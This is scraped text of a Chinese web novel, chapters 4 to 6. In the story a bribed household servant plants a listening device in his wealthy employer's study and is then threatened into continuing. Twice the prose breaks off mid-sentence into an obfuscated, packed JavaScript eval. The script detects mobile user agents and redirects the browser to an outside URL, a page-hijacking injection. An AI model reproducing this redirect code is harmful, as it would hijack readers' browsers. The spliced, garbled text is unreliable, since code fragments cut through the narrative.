l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338368|199276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直想看霍先生结婚生子……如果三爷没有比较满意的结婚对象的话,不如我们合作吧?” 这话听起来很坦诚。 像是终于起来兴致,霍延邵目光终于投了过来,“所以阮小姐的意思是,想和我结婚?” 阮栀攥紧手心,手心的刺痛压下了她起伏的心绪,她语气镇定回答,“是协议结婚。” 霍延邵笑了一下,他生得实在是俊美,平时看起来疏离沉稳,可笑起来却带着一股恣意。 看着他的笑,阮栀心里一喜,正当她以为霍延邵要同意她所提出的合作时,对方轻描淡写的一句话就碾碎了她所有的小心思。 “合作就不用了,老爷子虽然麻烦,但也还没麻烦到让我需要用婚姻去敷衍的地步。” 阮栀唇角勾起的弧度顿了一下,很快又如常扬起,只是细看这抹微笑没了刚刚热烈的温度,显得僵硬无比。 “好的,我知道的。” 指尖掐进手心,阮栀没有在这个话题继续纠缠,“前两天我去了一趟疗养院,正好听老爷子提起了三爷,三爷要是有空的话就过去一趟吧……” 不咸不淡地聊了几句,注意到对方的目光几乎都是停在某一处,阮栀谈笑间循着视线看了过去,只能看到一片明亮的庭园,没有任何人的身影。 她眸光闪烁,收回了目光。 很快下了楼,回到了宴会厅。 才一踏入宴会厅,就有人上前攀谈了,阮栀再次被人簇拥在最中间的时候,脸上已经重新挂起来笑。 她看似认真地听着身边人的恭维,目光却是不着痕迹地掠过这些讨好的面孔,握着酒杯的手微微收紧。 她比谁都明白,这些讨好吹捧来自于哪里。 不是自己如今阮家小姐的身份,也不是这一年来霍老爷子虚无缥缈的看重,而是刚刚霍延仲嘴里的自己有成为霍家现任掌权者霍延邵妻子的那个可能。 要是彻底没了这个可能,这些人只怕会立刻换上另外一副嘴脸了,想到霍延邵刚刚的拒绝,阮栀抿了抿唇,努力压下心底翻涌的阴沉。 …… 等到收拾完残局后,这时候已经十一点了,累了一天,心情又像过山车一样大喜大落,姜胥筋疲力竭。 也没有回出租屋,反而是回到了副楼休息,他看了眼手机的消息,是姜珊珊五点多的时候发过来她回家的消息。 想了想,回拨了个电话。 等到确认侄女早已经平安到家后,他才打理了一下自己,然后整个人摊在床上沉沉地睡了过去。 …… 灯红酒绿,霓虹璀璨,夜幕降临,京市商业区的夜晚繁华热闹,灯火映在耸立的高楼玻璃上,耀眼夺目。 素雅的包房内灯光柔和,酒桌上的男人衣冠楚楚,谈笑风生,素色旗袍勾勒着酒侍们曼妙的身姿,温婉秀丽的酒侍抿唇轻笑,屈膝俯身为客人斟着清酒。 “我听我家老爷子说,你把老宅的佣人全换了?”带笑的声音略带兴味,引起了酒桌上几人的注意,俱朝着主位看了过去。 包间开着空调,很暖和,主位的男人脱去了一丝不苟的西装外套,深色衬衣袖口敛起,骨节分明的手懒散地搭在桌面上,成熟儒雅中多了几分闲适。 闻言,眉目含笑,慢条斯理。 “年纪大了,放回去养老。” 这话实在体贴。 却也没几个信的。 谁四十几就养老了? 挑起话头的男人挑了挑眉梢,却没有打破砂锅问到底,酒桌上的话题也很快识趣地转移到了别处。 清酒温热,一饮而尽。 跪坐在他身旁的酒侍俯身斟酒,穿着旗袍的身体弯成一抹曼妙的弧度,酒侍微红的脸庞转动,露出半张羞涩干净的脸庞,眼神妩媚,红润的唇角扬起。 被酒气氤氲地微微发红的眼神漫不经心地落在身侧,划过了旗袍上精致的玉质盘扣上,男人狭长的眼眸微眯,修长的指骨轻触酒杯,并不做声。 “霍先生喜欢?” 即便是和其他人交谈着,首座的霍家家主也不是能被忽略的,很快有人注意到霍延诏的目光,对方恭敬地开口,言语里大有成人之美的意思。 略过身侧酒侍略带期待的目光,霍延诏移开目光,端起酒杯,语气温和,“香水味有些刺鼻。” 像是在解释。 酒侍双颊的绯红飞速褪去,取而代之的是苍白,接下来的时间里,他身侧的酒侍也被迅速换成了另外一个。 酒过三巡,有了醉意。 车厢后座弥漫着淡淡的酒气,先生上车后闭目养神,司机看了眼后视镜里的先生,有些生疏地给管家发了个消息。 还不算太晚,已经收拾好自己正打算早点休息的姜胥接到了林管家的消息,他暗骂了一声,也来不及换衣服,就匆匆离开了副楼的房间,赶到了主宅。 主宅一楼客厅还开着灯,姜胥来到了厨房,按着管家发来的信息开始生疏地准备着醒酒汤,煮好后又马不停蹄地端到了客厅。 “先生,醒酒汤。” 听到声音,霍延诏皱了皱眉,抬头看向旁边,目光落在男人的脸上,最后停在对方手里散发着热气的瓷碗上。 只看着,不接。 姜胥眉头皱起,也没有继续递,而是直接把醒酒汤放在桌上,然后恭敬地退到一侧。 过了一会儿,霍延邵拿过醒酒汤喝了下去,醒酒汤的味道说不上好喝,他喝完,闭了闭眼。 姜胥没有察觉,只以为雇主看起来精神还好,还没有醉到彻底失去意识,可看着还坐在沙发上的雇主,他一时有些不知道该怎么办。 他想了想,问了管家,得到的是将雇主扶回房间的消息。 他拿起桌面上已经空下来的碗,正要转身回厨房,却见本来坐着的雇主已经站了起来,身体还前后地晃了晃。 他心里一惊,下意识走近扶住了,“先生,小心。” 男人显然也意识到自己的失态,他揉了揉眉心,温声歉意道,“抱歉,头有点晕。” “那我去给先生拿两粒醒酒药?” 常用的药品,霍宅是备着的。 “不用了。”霍延诏垂下眼睑,轻飘飘地落在自己臂上的那截细白的腕骨上,眸色沉沉,“能不能扶我回卧室。” “好的,先生。” 姜胥按耐着想要给管家打电话的心思,忙把碗放下,一双手搭在男人的手臂上,小心翼翼地搀着,朝着楼梯处走去。 男人意识还算清晰,脚步也还算平稳,因此他也并没有需要用很大的力气,只垂头看着台阶,以免醉酒的雇主被台阶绊倒,所以并没有注意身侧雇主的目光。 情况突然,姜胥接了电话就赶过来了,还来不及换上统一的佣人服,他刚刚洗完澡,此时身上穿着一套长袖睡衣。 姜胥对身上穿的不太讲究,这套睡衣还是从老家带过来的,老旧的睡衣被洗地发白,领口也因为频繁的清洗而扯得宽大,露出半截精致的锁骨。 男人皮肤白,腰也细,低着头认真地看路,纤长的眼睫在灯光映照投着阴影,白皙的后颈就这么暴露在灯光下,看起来纤细莹润,一手可握。 明明是一个男人,还是个年纪已经三十了的男人,可此时在灯光氤氲下,却给人一种……脆弱,且易于掌控的感觉。 霍延邵指腹微捻,眸色渐沉。 “先生,到了。” 来到卧室门口,姜胥停下。 霍延诏收回视线,唇角含笑地礼貌地说了谢谢,然后才推门进屋,虽然步履微晃,但还算稳。 姜胥没有立即离开,而是在门外守了几分钟,见进了卧室里没有类似于摔倒在地的声音,才放心地转身离开。 4. 豪门契约文里的白眼狼老男人佣人4 这份工作工作量不算太高,但工资却很丰厚,有了持续稳定的收入后,姜胥的一些其他的小心思也起来了。 他从小就被父母惯着,长大后也靠着哥嫂过活,高中毕业做了几分散工后就一直游手好闲了,所以邻里街坊没几个看得上他的,都已经三十了还是没有结婚。 年轻的时候觉得有媳妇管着不自由,可如今年纪大些了也想要个媳妇的。 之前是指望着哥嫂张罗,可介绍过来的不是自己看不上的就是对方看不上游手好闲的自己,如今哥嫂没了,连给自己介绍的人都没有了,他也只能自己给自己张罗了。 “小叔,这么晚了你还要出去吗?” 看着换了身鲜亮衣服,还特意在楼下做了个发型的小叔似乎正准备出门,正在收拾碗筷的姜珊珊连忙问道。 “没什么,就是和几个朋友出去逛逛。”姜胥脸上带着喜色,随口交代了一句,随后叮嘱说,“等会儿我出去,你自己一个人在家要锁好门,有什么事记得给我打电话。” 叮嘱完后,就直接出了门。 姜珊珊忙放下手里的东西,走到阳台上探出头往下看,在看到自家叔叔跟着几个人一起走后,眉头不自觉地拧了拧。 酒吧里,人群攒动。 在音乐的鼓噪下,男男女女们肆意扭动着身躯,灯光迷离闪烁,空气中弥漫着由酒气烟气和荷尔蒙交缠而行成的颓靡。 姜胥第一次来这种地方,有些拘谨,才坐下身,身旁的位置就立即坐上了一个女人,对方穿着裙子,白皙的腿部裸露着,坐下的时候几乎和姜胥的腿贴在了一起。 姜胥整个人都绷住了。 见他这副模样,坐在对面的男人不禁笑出了声,他伸手搂住了依偎在身侧的女人,扬声调侃。 “不是说要我给你介绍媳妇吗?看看,喜不喜欢,要是不喜欢也不要紧,你嫂子认识的人多,让她再给你介绍几个。” 媳妇? 娶媳妇? 姜胥拘谨褪去了一些,忍不住打量坐在身边的女人,女人二十五岁左右,穿着浅色系的裙子,身材匀称,面容秀丽,脸上带着淡淡的笑意,温婉柔和。 长得好,性格好,贤要惠持家……这是姜胥对自己未来媳妇的要求。 姜胥是第一次和一个女人距离那么近的,他也说不出喜欢还是不喜欢,只觉得对方身上的那股香气让他忍不住呼吸急促,热意上涌。 ……看起来就像完全被对方迷住了一样。 对面坐着的男女见状,对视了一眼,随后默不作声地起身离开,像是要为这对刚认识的男女提供相处的空间。 …… 姜胥沦陷地很快。 短短一个星期,他就和对方确立了恋爱关系。 恋爱中的男人总是会有些不同的,起码在姜珊珊看来,自己叔叔真的变了很多,以前只顾着吃喝玩不在乎穿的男人现在也开始学会捯饬自己了。 在知道自己快有婶婶后,姜珊珊也是很欢喜的,所以在知道后忍不住问,“那小叔打算什么时候和婶婶结婚啊?” 毕竟自家小叔年纪也不小了。 姜胥当然也想早点娶媳妇了。 他也的确不年轻了。 只是结婚不是一件容易的事,他也和女朋友提起过想要尽快结婚的事,女朋友对彩礼之类的没太大要求,只是希望他能在帝都有一个稳定的住所。 也就是要有房子。 可帝都的房价高昂,即便他目前在庄园工作的工资还算可观,但要想快速攒到一笔能够付得起的首付还是一件不容易的事。 为了能够尽快娶上媳妇,姜胥一改以往的懒惰,除了周一到周五在庄园工作外,周六日也在外面做私活,只是就算是这样累死累活,能够攒的钱在帝都高昂的房价面前也是杯水车薪。 看着卡里积累缓慢的存款,姜胥只觉得自己距离能够娶媳妇还遥遥无期,正在他一筹莫展的时候,他的媒人也就是辉哥给他介绍了一份私活。 “……递消息?” 听到这份私活的内容后,姜胥睁大了眼睛,语气有些不可思议,随后连连摇头拒绝,“辉哥,这种事我可不敢做啊,要是被雇主知道了我就完了……” 辉哥对姜胥的反应并不意外。 他也没有勉强,只是随意把一张电话名片放在桌面上,语气稀松平常,“要是不想做这个就算了,我可以给你找些其他的事做。” 他面上流露出几分可惜,“这份活风险是有一定风险的,不过酬劳真的很高,一次的酬劳应该就够你付首付了,要是多做几次,你都可以全款拿下房子了。” 姜胥指尖微动,没有说话。 辉哥没有继续说下去,只是暗示性地给了个眼神给坐在姜胥身边的女人,在对方几不可察地点头后,才又给姜胥介绍起了其他能做的私活。 姜胥脑子乱糟糟,听得也不怎么认真,等到听完几个工作后也没有找到满意的,眼看着天快黑了,只能起身离开。 只不过,在离开的时候,鬼使神差地,姜胥顺走了本来放在桌面上的那张名片。 等人离开后,辉哥看了眼空荡荡的桌面,唇角微不可察地勾起一抹笑意。 …… 这天是周五,姜胥才下班,他上了公交后直接找了个位置坐下闭目养神,突然来了个电话,他点开一看。 是个熟悉的号码,姜胥脸色变了变,不假思索地按掉了,可几分钟后,手机再次响起。 还是那个号码,姜胥拧眉,犹豫了一下,最后还是点了接通,“喂,是谁?” “姜先生,你好,我是……” 那头才一出声,姜胥就立即挂了电话,他面色怔愣,有些坐立难安,那天他拿走了那张卡片,也的确是试探性地打过了上面的电话,可打过去的时候却是没有人接的。 几天过去,他也放下这件事,只是没想到现在却接到了对方的回拨。 几分钟后,手机再次响了起来,姜胥没有接通,就这么看着它响,等到它自行挂断后,抿了抿唇。 许久,没有第四个电话响起。 姜胥心里有些失落了,他正想收起手机,可下一刻,手机再次响了起来。 脸上挣扎翻滚,姜胥眼睛却是越来越亮,他攥紧手机,深吸一口气后,再次点开了接听…… 再次挂了电话,姜胥看了眼公交停下的站点,立即从公交上下来,随后打了一辆车来到了一个咖啡厅。 咖啡厅很偏僻,位于一个旧小区里。老小区街道老旧,看起来和繁华的京市格格不入。 这里住着的大部分是非本地的北漂,每日赶着地铁做着朝九晚六的工作,即便是辛苦也每日保持着精致的状态。 按着手机上的信息,姜胥进了一间咖啡店。 他点了一杯最便宜的咖啡饮品后然坐在角落里,食不知味地匆匆喝了几口后,就有些紧张地透过透明的玻璃望着街道上来来往往、神色匆匆的行人。 正是下班高峰期,咖啡厅里人不多,但这时候已经有人陆续进来了,几乎每个人进来他都会看上一两眼,这个举动也引起了一些人的注意。 姜胥没有注意旁人的注目,他时不时还垂头看一看手机,随着时间一点一点地跳动,心底逐渐焦躁。 很快,他等的人到了。 戴着鸭舌帽的男人进了咖啡厅,目光扫视了一番咖啡厅内部后,最后落在姜胥坐下的角落处,随后大步走了过来。 “姜先生?” “是我。” 来人上下打量着对面男人的面容,挑了挑眉,声音里带着不确定,姜胥放下手机,点头应了一声。 鸭舌帽男点点头。 他点了杯咖啡,也没有闲聊太多,直奔主题,将手里的纸盒推到姜胥面前,借着喝咖啡的动作低头轻声说,“你把这个放进霍延诏的书房里,不要让人发现。” 黑色的纸盒四四方方,看不见里面装的是什么,姜胥攥着手机的手指收紧,思虑了片刻,还是咬咬牙,低声问道。 “能不能告诉我,这里面是什么?” “你不用知道这是什么,只要按照我说的话去做就好。”鸭舌帽男眯了眯眼,不紧不慢地敲打,话语里隐隐透露了几分警告。 “我家先生说了,只要你帮他做事,少不了好处,我们可以帮你把你那侄女转进更好的学校读书,还有每次都会给你一百万。” “这张卡里有五十万,算是这一次的订金,你先拿着,等成了之后那五十万会打进卡里,密码是……” 见对方开始流露出紧张,鸭舌帽男语气缓了缓,在打了一棒后开始给个甜枣。 每次一百万。 要是多做几次,就是几百万了。 有了几百万…… 姜胥咽了咽口水,目光死死盯着桌面上的卡,呼吸变得急促,白净的面上泛起潮红,眼里再次闪烁起贪婪的光芒。 见他这副样子,鸭舌帽男就知道这件事成了,他轻笑一声,将桌面上的卡推了过去。 对方很快就起身离开。 姜胥快速将卡收起,然后看着桌子上的纸盒,犹豫了一下,最后还是收了起来。 咖啡厅里人来人往,姜胥不敢打开盒子,他先是去附近的银行查了那张卡的钱,等到坐上了公交车后,才打开看了一眼。 纽扣大小的一小粒子,土包子姜胥并不认识,想了想,用手机拍照百度搜索。 窃听器。 姜胥愣住,缓缓将纸盒盖上,视线移在车窗外,本来带着不安的眸子像是掺了蜜,在阳光的映照下,熠光流转,宛如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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司机同样看了眼姜胥,摇了摇头,小声地嘟囔了一句什么,然后熟练地打着方向盘,朝着霍宅驶去。 “他侄女每周都会过来找他?” 司机先是一惊,后反应过来是先生问的话,小心翼翼地整理着说,“……也不是每周,就是偶尔来一次,小姜他侄女在附近读书,要是时间早的话偶尔会过来和小姜一起回家。” 同样在霍宅做事,这几个月来抬头不见低头见的,司机也在别的同事嘴里听说过对方,也知道这位新同事有个父母双亡还在读高中的侄女。 只是不知道,霍先生为什么突然问起小姜……司机隐晦地看了眼后视镜里的先生,见先生神色一如平常,只以为对方是一时好奇。 车开进了霍宅,很快就有佣人打了伞来接人,司机正想将车开进地下车库,却听见淅淅沥沥的雨声中夹杂着先生的吩咐。 “把人接回来,让管家安排一间房。” 把人接回来? 把谁接回来? 司机愣了愣,很快想到了刚才碰到的姜胥,他求证似地抬头看向车外,却只看到先生离去的背影。 …… 皮质的座椅干净整洁,车厢里带着淡淡的檀香,姜胥抿了抿干燥的唇,神色局促地坐上了副驾驶的位置,然后对着司机欲言又止。 “……李哥,是管家让你来接我的?” 司机转着方向盘,闻言笑呵呵,“不是管家,是霍先生让我来的,刚刚我送霍先生回来,他看到你这么大的雨还要送孩子回去。” “霍先生?” 姜胥有些意外。 “是啊,霍先生人很好的。”司机直视着前方的路况,嘿嘿一笑,嘴里说着自己也不信的话。 “也没有那些有钱人的架子,刚刚回来的时候看到这么大的雨,所以就让我接你回来,还说让管家安排一间房子让孩子先住下……” “…哦哦,原来是这样。”勉强压下心底的惊愕,姜胥抿了抿干燥的嘴唇,诚恳地说,“那就麻烦李哥跑一趟了。” “没事,别客气。”司机爽朗一笑,很快就转移起了话题,“小姜啊,小珊每周都来找你会不会很麻烦啊,要不然以后还是让她先回家,来回奔波也麻烦……” “还好,她学校就在附近……” 回到了庄园,林管家已经把房间安排好了,姜胥送侄女回了房间,然后告诉她等会儿他会送饭上来,还叮嘱她晚上睡觉一定要锁门后,就下了楼。 叔侄俩本来打算去楼下那家整条飘着香气的火锅店吃火锅的,所以没吃晚饭,幸好这会儿饭菜还有,姜胥吃过后,又给侄女打包了一份。 正想上楼,却见苗姨走了进来,脸色还有些愁,姜胥心下不妙,正想抬脚离开,却听见苗姨道,“先生晚饭没吃多少东西。” “管家已经让厨师特意做了粥,等粥做好,你送到先生的房间去吧。” 说完,又左右看了看,小声叮嘱道,“刚刚小少爷又闹起来了,先生现在心情可能不是很好,你小心一些。” 自从暑假结束回了霍宅后,小少爷三天一小闹五天一大闹,霍宅的佣人大多已经习惯了。 姜胥谨慎地点头。 厨师很快将粥做好,姜胥接过上了楼。 5. 豪门契约文里的白眼狼老男人佣人5 叩叩叩。 虚掩着的房门被打开,端着托盘的佣人进了房间。 “先生。” 房间的落地窗前,白天还西装革履的男人褪去了剪裁得体的定制西服,只穿着一件松散的黑色浴袍,俊美矜贵,浴袍领口敞开着,依稀可见胸膛和壁垒分明的腰腹。 他交叠着腿慵懒地坐在小圆桌前,看着窗外沉沉的雨幕,发丝散乱滴着水珠,没有眼镜遮挡的眼眸微眯着。 即便察觉到佣人进来也没有看过来,只微微颔首,示意佣人将粥放在桌面上。 姜胥垂脸应声,几步上前将托盘里的粥放在桌面上,粥放下本该离开,只是想起刚刚司机说的话,他踌躇了一会儿,最后还是很快弯了弯腰。 “多谢先生。” 似乎生怕突然惊扰了看雨的雇主,姜胥将声线压得很低,房间没有开灯,有些昏暗,从落地窗外映入的自然光线映照在他的脸庞上。 本来惬意看雨的霍延邵不知道什么时候将目光收了回来,落在了佣人的面上。 几步外的人唇瓣红润,面容瓷白,兴许是才从外面回来不久,眼尾那抹上扬的弧度处甚至还留着一滴雨水。 他手里端着一个黑色的托盘,纤长眼睫微垂,一幅恭敬的模样, 霍延诏目光在那抹眼尾的弧度上停留了片刻,只在一会儿后,才问道,“没事,我听司机说,你侄女是读高中?” “是的先生,今年读高一。” “是在市中学读?” “不在市中,在一个普通高中。” “我看你们叔侄感情挺好,平时是怎么相处的?” 姜胥愣了一瞬,很快想起苗姐刚刚说的话,想起来了雇主那个叛逆的侄子,只自以为自己明白了这位雇主的烦恼。 “就普通相处,我侄女是我看着长大的,一直感情都不错,她也很听我的话。” 姜胥没说谎。 他是父母老来子,和大哥年纪相差大,从小被父母宠着长大,父母去世后又被大哥大嫂宠着长大。 侄女也是大哥大嫂的老来女,这些年他吃喝全靠大哥大嫂,日常也会照顾侄女,虽然性子混不吝,但侄女的确是他看着长大的,所以才会舍得费心思重新送侄女去读书。 霍延邵点点头。 他没再问什么。 一碗粥的份量不多,雇主很快就吃完,姜胥手脚麻利地收拾好碗筷离开。 在人离开后,霍延诏看着窗外的雨幕,落地窗上,映照着男人泛冷的眉眼,片刻后,他拨出了别墅里的内线电话。 “把原来负责打扫书房的人换了,换成新来的姜胥。” “是的,先生” 林管家的动作很快。 等到晚上的时候,姜胥就知道自己下周的工作安排从厨房换成了二楼的大书房,他看着群里的通知,先是欣喜若狂,后又有些莫名的不安。 可一想到被自己揣在兜里的那张卡,想到那一百万,想到侄女能够去更好的学校读书,想到自己有了钱买房子就能和女朋友结婚……这股不安很快就被贪婪给压下去了。 一百万啊,他不知道要做多久才能攒得到一百多万……姜胥开始琢磨该怎么完成对方交代的任务了。 霍宅不止一个书房,但这个位于二楼的大书房才是霍延诏日常办公的书房,也是整个霍宅重中之重的地方。 平时除了霍延诏,也只有被安排了打扫的佣人才能进,就连小少爷和管家他们也是必须得到了许可之后才能进入。 很快就轮到了姜胥打扫的日子。 书房面积很大,里头的摆设偏古朴,博古架上放置着许多古董,看起来都很不起眼,可被管家叮嘱过的姜胥却是知道这些每一个都是价值不菲。 姜胥用鸡毛掸子小心翼翼地打扫着博古架上,目光却是在博古架上不断地游移。 博古架有好几层,光瓷器就占据了整整一整层,姜胥目光缓缓移动,最后落在第二层一个窄口花瓶上,他眸光微闪,手里打扫的动作微微停顿,后又继续了起来。 握着鸡毛掸子的手心渗出汗渍,姜胥搬过一旁的凳子踩了上去,打扫着博古架第一层。 等到打扫到靠近右侧的位置,他余光扫了眼敞开着的书房门,借着身体遮掩,手心一松,纽扣大小的窃听器顺势掉落窄口花瓶中,发出一声清脆的碰撞声。 成了。 姜胥松了口气,他正想移开目光,却听到身后有脚步声传来,他的心跳顿时漏了半拍,手指瞬间收紧,放下手里的鸡毛掸子,低眉垂目,“先生。” 男人走进书房,没有停留。 “去给我倒一杯水。” “好的,先生。” 紧攥着的手放松,手心已是一片汗渍,姜胥若无其事地从凳子上下来。 镇定地离开了书房,完全没有注意到,身后的脚步停下的男人微微偏过头,视线从自己身上划过,最后落在博古架的第二层。 端着水回到书房的时候,霍先生已经坐下了,姜胥正想把水杯放在桌上,却听到对方问道。 “今天书房里有没有其他人进来过?” 拿着水杯的手微不可察地抖了抖,姜胥语气平静且恭敬,“下午除了我在书房打扫,没有其他人进来。” 停顿一会儿,看了看书桌后的男人,忍不住问道,“先生,是觉得书房那里不对吗?还是我哪里打扫地不干净?” 霍延邵没有说话,视线巡视着面前男人的脸上,男人显然心理素质不怎么好,这时候已经脸颊泛白,眼睫颤颤,清亮的眼眸里带着压不下的慌色。 霍延邵无声地弯了弯唇,他伸手接过对方手里的水杯,语气低沉温和,“没事,只是觉得这些文件有点乱。” “先生,我没有动您桌上的文件。”姜胥暗自松了口气,立即解释,“我是下午才过来打扫的,上午不在,要不您可以查一查今天的监控。” 管家交代过,无论是桌面上的文件还是书架上的文件,都是不可以动的。 “我知道了,你先出去吧。” “好的,先生。” 姜胥转身离开。 书房里只剩下霍延诏。 目光再次扫向一侧的博古架,霍延诏慵懒地靠着椅背,唇角似勾微勾,狭长的眼里染上了几分兴味。 他抬手松了松领带,却没有急着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338370|199276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起身查看,而是指尖滑动鼠标,不紧不慢地点开了今天书房的监控。 不是书房里光明正大地正对着办公桌的角度,而是一个更为隐蔽的角度,画面上,穿着佣人服的男人一举一动都清晰可见。 接下来的一段时间,姜胥都有点神思不属,他是知道书房里是有一个监控的,可借着打扫动作的遮挡,他的动作应该不会被发现的。 自顾自地安慰着,竭力地压下心头那股莫名的不安,好不容易才让自己安下心来,姜胥又在群里看到了紧急集合的消息,赶到主楼的客厅。 客厅中佣人已经成排集合,全都低眉垂目。 目光移向客厅中央,一个同样穿着佣人服的中年女人垂着被几个黑衣保镖围坐着,额头还不断地涌着血,鲜红的血液几乎布满了大半张脸,看起来狼狈可怖。 是王姐…… 姜胥瞳孔骤缩,步伐迟缓。 像是完全没有注意到额角不断淌着血的人,衣着得体的老管家站在前面,苍老的面上一如既往地带着慈和的笑意,他扫了一圈老宅里的佣人,言语含着歉意。 “抱歉,这么晚了还把大家集合在这里。” “大家已经共事有一段时间了,我想你们都已经很清楚霍宅的规矩。” 老管家眯了眯眼。 “前几日庄园里出现了一件很恶劣的事,有人擅自进入了先生的书房,并且翻动了先生放在书房的文件,整个过程都已经被监控录了下来……” 姜胥垂眉听着管家的话,他紧紧抿着唇,目光不可抑制地在了不远处被保镖围着的王姐身上,一时间,心如擂鼓。 敲打了一番,老管家便让人散开。 姜胥随着佣人的人流往外走,心有惶惶,忍不住回头望向客厅内。 左右一个黑衣服的保镖,保镖腰间鼓鼓囊囊,神色惊惧的王姐被保镖架了起来,如同拖拽死狗一般拖了出去,光洁的地板上还残留着一滴滴红艳艳的血滴…… 看着看着,视线不经意上移。 却见主宅二楼的楼道上正站着个修长的人影,骨节微凸的手随意搭在栏杆上,衣着休闲的男人居高临下地往下看着,眸色宛如一湖漆黑深潭,深不可测。 视线交汇,姜胥只觉心底涌现出一阵阵的寒意,直蔓四肢百骸,他怔了怔,随后仓惶垂下头。 那些不断地做着心理建设、好不容易积攒起想要询问管家王姐会有什么样的下场的勇气在这时候也全部消失了。 他攥紧拳头,只能故作淡定定地收回视线,加快了离开的步伐,回到了副楼的房间,姜胥猛地将门用力地关上了。 他靠着门,缓缓蹲下。 垂落两侧的指尖攥地发白,脑海里不断浮现着王姐那张不复以往爽朗的面孔,还有那一片不断低落在米白色大理石地板上的血色。 后悔,惊惧,恐慌……种种情绪喷涌而出,终于还是压下了那股贪婪的欲望,这时候手机屏幕亮了亮,是鸭舌帽男打过来的电话。 他像是看到了救命稻草一般,立即接通了手机,语气里难掩恐慌,“喂,喂、我能不能不做了,那五十万我现在就还给你,我不想继续做下去了……” 6. 豪门契约文里的白眼狼老男人佣人6 在等到姜胥的话说完后,手机那头才传来声音,语气带着焦急。 “你先别急,有什么事可以慢慢说,为什么突然就不想做了?是被霍延邵发现了什么了吗?” “没什么,只是我不想做了——” “说实话,姜胥!” “你以为这是玩过家家吗?别异想天开了,你做都做了,我们已经是一条绳上的蚂蚱了。” 这话像冰冷的钢针,直直地戳进了姜胥心里,虽然让姜胥有种上了贼船下不来的感觉,但总算也是让他激动的情绪平复了下来。 他没有说出王姐的事,只是嗫嚅地说着,“没什么,只是觉得很危险,害怕会被发现……” 电话那头似乎是松了口气。 “你不用担心,只要你按照我的话去做,是绝对不会被发现的。” 可这番话并不能让姜胥彻底放心,他默不作声,想到刚刚在主楼见到的已经不知是死是活的王姐,恐惧就不断地在心底翻涌,想要放弃的念头怎么也压不下去了。 那头的人好像已经察觉姜胥的退缩了,声音冷了下来。 “姜胥,刚刚我已经说了,这不是你想退就能退的,我告诉你,只要你不按吩咐去做,到时候霍延邵就一定会知道你为了钱出卖他消息这件事!” 姜胥脸色白了下去。 “霍延邵心狠手辣,跟了他多年的下属一旦被发现背叛基本都会被弄死,更何况你这么一个小帮佣,你要是不想事情败露被霍延邵弄死的话,就乖乖听话地照做。” “我、我知道了,我会照做的……” 对方的一番话让姜胥心惊胆战,他不敢再说自己不想继续做下去这样的话了。 电话那头轻描淡写地嗯了一声,语气也温和了几分,像是被棒打后息事宁人的甜枣。 “你放心,帮我家先生办事,少不了你的好处,你侄女的学校我已经让人办好了,还有另外的五十万我也让人打进你那张卡里了。” “好的,好的,我知道了。” 即便害怕,姜胥对钱也难掩渴望,在听到另外五十万已经进了他的账户后,立即喜形于色。 挂了电话,他迫不及待地登录了手机银行,在查看卡上真的多出了五十万后,惨白的脸终于多了几分血色。 他在床上躺了下来,仿佛是想要汲取温度一般,手里还紧紧攥着那张卡,努力地不让自己回忆起王姐那张没有血色惨白的脸…… “小叔,怎么突然就给我转学了?这个学校好像是私立学校,学费应该很贵吧。” 看着姜胥递过来的簇新的西装百褶裙,姜珊珊面色怔怔,随后有些欢喜,又有些担忧地问道。 私立高中的校服精致华美,无论是面料还是剪裁都不是普通的高中校服能比的,作为一个正处于青春期爱美的女孩,姜珊珊也是喜欢的,可她更担心自己会给小叔增加更多的负担。 “这是我工作做得好,雇主知道我有一个侄女在读高中后给的奖励,你放心去读吧,花的也不是你小叔我的钱。” 毫不在乎的声音从沙发那头传过来,姜珊珊没有看清自家小叔说这话时的脸色,所以轻易就信了。 “谢谢小叔。” 她抱着校服,喜滋滋地道谢。 姜胥可有可无地嗯了一声,余光扫了眼喜笑颜开的侄女,抿了抿唇,语气如常。 “这间学校距离庄园比较远,以后你要是放学了就直接回家就好,不用去庄园接我了,浪费时间,又浪费钱。” “好的,我知道了小叔。” 姜珊珊注意力都在校服上,闻言立即连连点头笑着应下,等到周一一早,她就去了新的学校上学。 新的学校看起来和原来的学校很不一样,姜珊珊下了公交走进校园,看着四周虽然穿着同样的校服却明显和自己很不一样的同学们,心里已经开始有些紧张了。 她根据报告手册上的指引,来到了报告的办公室外,办公室门正开着,她深吸一口气后,敲响了办公室的门。 “同学,有什么事吗?” “老师你好,我是今天转学过来的转学生,姜珊珊。” 今天的确是有个转学生。 办公室里的一位老师看了眼门外的女孩,眼里闪过一丝打量,后点点头,“进来吧,先填写一下资料。” “好的老师。” 填写完资料,姜珊珊跟着来到了教室,正是下课时间,教室里有些吵闹,学生们看到老师进来后才逐渐安静了下来。 审视、打量、好奇……各种意味不明的目光顷刻落在教室身后的陌生面孔身上。 迎着这些目光,姜珊珊下意识地开始紧张,她抿抿唇,唇角扬起一抹笑,“大家好,我是江珊珊,是新来的转学生,希望以后能和大家好好相处。” 话音落下,下面没有任何声音。 姜珊珊有些讪讪,只觉得下面那些明晃晃打量的目光让她觉得有些心慌,她看向老师,想知道自己应该坐那里。 “坐后面的位置吧,也只有那里没有人坐了。”老师朝着后排示意了一下。 “好的,谢谢老师。” 姜珊点点头,立即走了下去。 座位在最后排,靠近角落的位置,是单人的,姜珊坐下后不久就上课了,她还没有领取到教科书,所以也只能尴尬地拿出笔记本记录老师讲的内容。 一节课四十五分钟。 很快就下课了。 